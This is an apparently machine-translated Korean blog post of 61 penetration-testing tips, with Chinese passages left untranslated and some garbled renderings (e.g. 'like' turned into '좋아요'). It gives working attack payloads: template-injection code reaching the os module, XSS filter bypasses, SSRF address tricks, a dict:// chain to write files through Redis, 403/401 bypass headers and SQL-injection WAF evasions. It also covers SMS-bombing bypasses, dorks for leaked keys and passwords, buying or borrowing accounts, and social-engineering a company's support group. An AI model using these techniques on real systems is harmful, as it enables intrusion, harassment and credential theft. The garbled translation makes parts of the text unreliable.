침투 테스트의 일반적인 문제에 대한 61가지 작은 팁

1. {msg: params error}와 같이 매개변수가 누락되었다는 메시지가 표시되면 사전 퍼징을 사용하여 추가 공격을 위한 매개변수 구성을 시도하십시오.

2. 프로그램 오버플로, int의 최대값은 2147483647입니다. 이 값을 정수 오버플로에 사용하고 현상을 관찰할 수 있습니다.

3. 403, 404 응답에 실망하지 말고 dirsearch와 같은 도구를 사용하여 디렉토리를 찾으십시오.

4. 인증코드의 단순 우회: 재사용, 범용 인증코드(0000, 8888), 빈 인증코드, 인증코드 식별 가능(PKAV HTTP Fuzzer 도구 등으로 식별 가능)

5. SMS 폭탄 우회: 휴대폰 번호가 우회하기 전에 +86을 추가하십시오.휴대폰 번호를 사서함에 입력하고 사서함에 휴대폰 번호를 입력하십시오.

6. 인증코드가 유효한 경우 일정시간 동안 반복적으로 인증코드 전송을 시도할 수 있으며 유효하므로 인증코드의 지속시간이 연장될 수 있습니다.

7. SQL 삽입 시 데이터베이스가 Mysql인 경우 &&를 사용하여 and를 대체할 수 있습니다. 예: ' && '1'='1,' %26%26 '1'='1.

8. SQL 삽입 시 데이터베이스가 Mysql이면 waf 필터 = 대신 like를 사용해 볼 수 있습니다. 예: 및 1 좋아요 1

9. JWT 형식은 jwt.calebb.net/에서 복호화할 수 있습니다.전제는 비밀 키를 아는 것입니다.비밀 키 정보를 전달하는 오류 메시지가 있는지 확인하기 위해 데이터 구성을 시도할 수 있습니다.다음을 사용할 수 있습니다. github.com/firebase/php JWT를 생성합니다.

JWT 형식 header.payload.signature

10. redis 서비스(포트 1234)가 열리면 /actuator/redis/info 문을 사용하여 다음과 같은 민감한 정보를 읽을 수 있는지 확인할 수 있습니다. xxx.com:1234/actuator/r

11. Gitlab 플랫폼 취약점 - CVE-2020-10977

12. API 인터페이스에서 매개변수를 직접 구성하고, POST 형식으로 매개변수를 전달하고, JSON 형식으로 구성을 시도할 수 있습니다.컨텐츠 유형: application/json, 일부 시도 가능한 매개변수, 페이지, 크기, ID.

13. 휴대폰에 문자 메시지 전송에 시간 제한이 있는 경우 휴대폰 번호 앞에 특수 문자나 공백을 사용해 볼 수 있습니다.

그의 논리는 다음과 같아야 합니다. 사용자가 휴대폰 번호를 입력 --> 백엔드는 휴대폰 번호가 30초 또는 60초 이내에 요청되었는지 여부를 판단합니다. --> 그렇지 않은 경우 전송된 휴대폰 번호가 충분히 순수한지 판단합니다. 11자리 숫자의 경우

그렇지 않은 경우 숫자가 아닌 문자를 제거 --> 데이터베이스에 있는 휴대폰 번호와 비교하여 데이터베이스에 존재하는 것으로 충분하며 존재하는 경우 휴대폰으로 인증 코드를 전송합니다.

14. 사진 인증 코드는 다음과 같이 비어 있도록 설정할 수 있습니다.

15. 인증 코드의 내용을 자동으로 사용하여 쿠키 및 매개변수에 사용자에게 전송된 내용이 있는지 관찰하고 변경을 시도할 수 있으며 피싱 링크를 구성할 수 있습니다.

16. 템플릿 삽입, {{xxx}}에 입력된 명령 매개변수는 다음과 같이 실행할 수 있습니다.

www.baidu.com/{
   
   {1+1}}
以Python为例,列出当前目录下所有文件的Payload:{
   
   {''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

17. 정보 수집을 위해 Sogou 검색에서 WeChat을 선택하여 관련 회사의 관련 공식 계정 자산을 검색하십시오.

18. JS 파일에서 키워드 API, Swagger UI 등을 검색하여 API 인터페이스 주소를 찾아보십시오.

19. swagger 인터페이스의 공통 경로:

/swagger/
/api/swagger/
/swagger/ui/
/api/swagger/ui/
/swagger-ui.html/
/api/swagger-ui.html/
/user/swagger-ui.html/
/swagger/ui/
/api/swagger/ui/
/libs/swaggerui/
/api/swaggerui/
/swagger-resources/configuration/ui/
/swagger-resources/configuration/security/

20. Swagger 구성 요소 기능 고정 제목: Swagger UI

21. 디렉토리가 있는지 맹목적으로 테스트하고 디렉토리가 있으면 URL 끝에 자동으로 추가/완성될 수 있습니다.

22. Mysql에서 사용할 수 있는 공백 문자는 %09, %0a, %0b, %0c, %0d, %20, %a0입니다.

23. 계정 획득: 라이브러리, QQ 그룹, github 유출, 차용/대여/구매 계정.

24. Alibaba Cloud의 ASKK가 유출된 경우 ASKtools 도구를 사용하여 추가로 악용할 수 있습니다.

xz.aliyun.com/t/842925. 배경 페이지가 깜박거리며 로그인을 요구하는 경우 보통 권한 인증 방식을 사용하며, 이를 우회하기 위해 다음과 같은 방법을 사용할 수 있습니다. 또는 401이 발생하는 경우 , 403, 302, 다음 방법을 시도해 볼 수 있습니다.

一、GET /xxx HTTP/1.1 à403
Host: test.com
绕过:
GET /xxx HTTP/1.1 à200
Host: test.com
X-Original-URL: /xxx
二、GET /xxx HTTP/1.1 à403
Host: test.com
绕过:
GET /xxx HTTP/1.1 à200
Host: test.com
Referer: http://test.com/xxx
三、302跳转:拦截并drop跳转的数据包,使其停留在当前页面。
四、前端验证:只需要删掉对应的遮挡模块,或者是验证模块的前端代码。

26. 고퍼 프로토콜 페이로드 생성 도구:

https://github.com/firebroo/sec_tools

27. Dict 프로토콜 작성 프로세스:

1.写入内容;
dict://127.0.0.1:6379/set❌test
2.设置保存路径;
dict://127.0.0.1:6379/config:set:dir:/tmp/
3.设置保存文件名;
dict://127.0.0.1:6379/config:set:dbfilename:1.png
4.保存。
dict://127.0.0.1:6379/save

28. CentOS 7 시스템은 suid를 사용하여 루트 쉘을 얻기 위한 권한을 에스컬레이션합니다.

https://www.freebuf.com/articles/system/244627.html

29. xss에서 태그가 사용하는 페이로드:

<a href=javascript:alert(1)>xx</a>

30. XSS는 작은따옴표를 필터링하고 등호는 다음을 수행할 수 있습니다.

①、使用:String.fromCharCode(97,108,101,114,116,40,49,41);
为alert(1),该方法输出的结果为字符串,可以使用eval()进行执行,即弹框操作
eval(String.fromCharCode(97,108,101,114,116,40,49,41));
②、atob函数:
eval(atob`YWxlcnQoMSk=`) 为 eval(atob`alert(1)`) 其中`为反引号

31. XSS는 작은따옴표, 등호 및 괄호, 평가를 필터링합니다.

①、过滤了eval函数可以用其他函数去绕过,如:Function,constructor
Function`a${atob`YWxlcnQoMSk=`}```
``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```

32. 다음 명령을 사용하여 docker 가상 머신에 있는지 확인할 수 있습니다.

cat /proc/1/cgroup

33. 범용 암호'=0#34를 시도하십시오. CORS 취약점 확인, curl을 사용하여 다음을 확인할 수 있습니다.

curl https://www.xxxx.com -H "Origin: https://test.com" -I
检查返回包的 Access-Control-Allow-Origin 字段是否为https://test.com

35. 대상 시스템이 Shiro인지 맹목적으로 테스트할 때 쿠키에 rememebrMe=xxx를 수동으로 구성할 수 있습니다.

반환된 패키지의 Set-Cookie에 rememberMe=deleteMe가 있으면 시스템이 Shiro를 사용하고 있음을 증명하므로 추가 공격이 가능합니다.

36. 정규식을 사용하여 웹사이트에 포함된 다른 URL을 얻습니다.

cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*
curl http://host.xx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*

37. 일부 일반적인 RCE(원격 명령 실행) 매개변수에 대한 자세한 내용은 dicts 디렉토리의 RCE-extentions.txt 파일을 참조하십시오.

38. SSRF 보호를 우회하는 몇 가지 작은 방법:

A、绕过SSRF限制通过CIDR,如:
http://127.127.127.127
http://127.0.0.0
B、不完整的地址,如:
http://127.1
http://0
C、将地址结合在通过特殊字符结合在一起,如:
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3
D、绕过解析器,如:
http://127.1.1.1:80\@127.2.2.2:80/
E、绕过localhost通过[::],如:
http://[::]:80/
http://0000::1:80/

39. 일반적으로 사용되는 몇 가지 Google 문법:

inurl:example.com intitle:"index of"
inurl:example.com intitle:"index of /" "*key.pem"
inurl:example.com ext:log
inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv
inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git

40. 파비콘의 해시를 통해 두 개의 연결된 웹사이트를 비교합니다.

脚本地址:https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py
命令:python3 favihash.py -f https://target/favicon.ico -t targets.txt -s

41. 일부 로컬 매개 변수가 포함되어 있습니다.자세한 내용은 dicts 디렉토리의 LFI-extentions.txt 파일을 참조하십시오.

42. 다음과 같은 JavaScript 파일에서 숨겨진 GET 매개변수를 찾을 수 있습니다.

首先,在js文件中找到一些变量,比如:var test="xss"
然后,可以尝试使用GET方法构造每一个参数,比如:
https://example.com/?test=”xsstest
本方法可能会发现一些XSS

43. github dorks를 사용하여 다음과 같은 민감한 정보를 찾을 수 있습니다.

extension:pem private
extension:ppk private
extension:sql mysql dump password
extension:json api.forecast.io
extension:json mongolab.com
extension:yaml mongolab.com
extension:ica [WFClient] Password=
extension:avastlic “support.avast.com”
extension:js jsforce conn.login
extension:json googleusercontent client_secret
“target.com” send_keys
“target.com” password
“target.com” api_key
“target.com” apikey
“target.com” jira_password
“target.com” root_password
“target.com” access_token
“target.com” config
“target.com” client_secret
“target.com” user auth
通过上述语法,可以搜索到一些敏感的私钥,一些SSH登录私钥,mysql的数据库密码,API key等等。
另外推荐一个脚本:https://github.com/techgaun/github-dorks

44. SSRF의 공통 매개변수에 대한 자세한 내용은 dicts 디렉토리의 SSRF-extensions.txt 파일을 참조하십시오.

45. .json 접미사를 추가하여 다음과 같은 일부 민감한 정보를 유출합니다.

一次正常请求:
GET /ResetPassword HTTP/1.1
{"email":"[email protected]"}
响应:
HTTP/1.1 200 OK
添加.json后缀的请求:
GET /ResetPassword.json HTTP/1.1
{"email":"[email protected]"}
响应:
HTTP/1.1 200 OK
{"success":"true","token":"596a96-cc7bf-9108c-d896f-33c44a-edc8a"}
原链接:https://twitter.com/SalahHasoneh1/status/1293918353971531776

46. ​​응답이 401이면 요청 헤더에 X-Custom-IP-Authorization: 127.0.0.1을 추가해 보십시오.

47. 백그라운드로 로그인하는 사이트의 경우 비밀번호 재설정 기능이 있는데 비활성화되어 있으면 회사의 기술 qq 그룹을 찾아 사용자가 비밀번호를 잊어버린 것처럼 비밀번호 재설정을 요청하고 기능이 활성화되고 비밀번호 재설정 버그가 있는지 확인하십시오.

48. 지나간 후 ​​로그인을 요청하는 배경 페이지가 나타나면 일반적으로 권한 인증 방법을 사용합니다.

49, 302 점프: 리디렉션된 데이터 패킷을 가로채서 삭제하여 현재 페이지에 유지합니다.

이 작업은 매번 실패하지만 반환된 302를 200으로 수정한 다음 위치 필드를 삭제할 수 있습니다.

50. 파일 다운로드: /porc/self/cmdline --cmdline 현재 프로세스의 매개변수, /var/lib/mlocate/mlocate.db --전체 파일 경로.

51. SMS 폭파에 취약한 몇 가지 비즈니스 시나리오 및 우회 방법:

①:登录处
 ②:注册处
 ③:找回密码处
 ④:绑定处
 ⑤:活动领取处
 ⑥:独特功能处 
⑦:反馈处
一般绕过限制方法:
手机号码前后加空格,86,086,0086,+86,0,00,/r,/n, 以及特殊符号等
修改cookie,变量,返回
138888888889   12位经过短信网关取前11位,导致短信轰炸

52. 주입할 때 --%0a union --%0a select 를 시도하여 우회를 시도할 수 있습니다.

53. 삽입할 때 order by, group by, {$var}에 대해 자세히 읽어보세요.

54. 휴대전화 번호 앞에 +를 붙이면 SMS 폭파가 됩니다.

55. 사이드 스테이션의 응답에 SMS 인증 코드가 나타나는 것을 발견하면 메인 스테이션 또는 다른 스테이션의 인증 코드가 일반적인지 확인할 수 있습니다.

56. SMS 인증번호를 받을 때 두 휴대폰 번호를 쉼표로 구분하여 두 휴대폰 번호가 동일한 인증번호를 받을 가능성이 있습니다.

57. 테스트 주입 및 ord(0x1)->true 및 ord(0x0)->false.

58. 파일 읽기 취약점이 발생하면 구성 파일 읽기 외에도 웹 사이트 파일 읽기를 시도하여 코드 감사를 수행할 수 있습니다.부주의한 개발로 인해 소스 코드에 허점이 있을 수 있습니다.

59. python을 사용하여 http 서버를 빠르게 엽니다.

基于python2.x,命令如下:
python -m SimpleHTTPServer 8000
# 在当前目录起个 8000 端口的 HTTP 服务
基于python3.x,命令如下:
python -m http.server 8000

60. 침입 시 IP 주소를 노출하지 않도록 하십시오. 프록시를 걸어둘 필요가 있습니다.

터미널이 Linux에서 프록시를 사용하는지 확인하려면 curlifconfig.me/에서 반환된 IP 주소를 확인할 수 있습니다.

Windows는 ifconfig.me/를 직접 방문할 수 있습니다.

61. 사전을 정리할 때 빠른 병합 및 중복 제거를 위해 Linux에서 도구를 사용하는 것이 좋습니다.

cat file1.txt file2.txt fileN.txt > out.txt
sort out.txt | uniq > out2.txt

Supongo que te gusta

Origin blog.csdn.net/weixin_52501704/article/details/128656627
Recomendado
Clasificación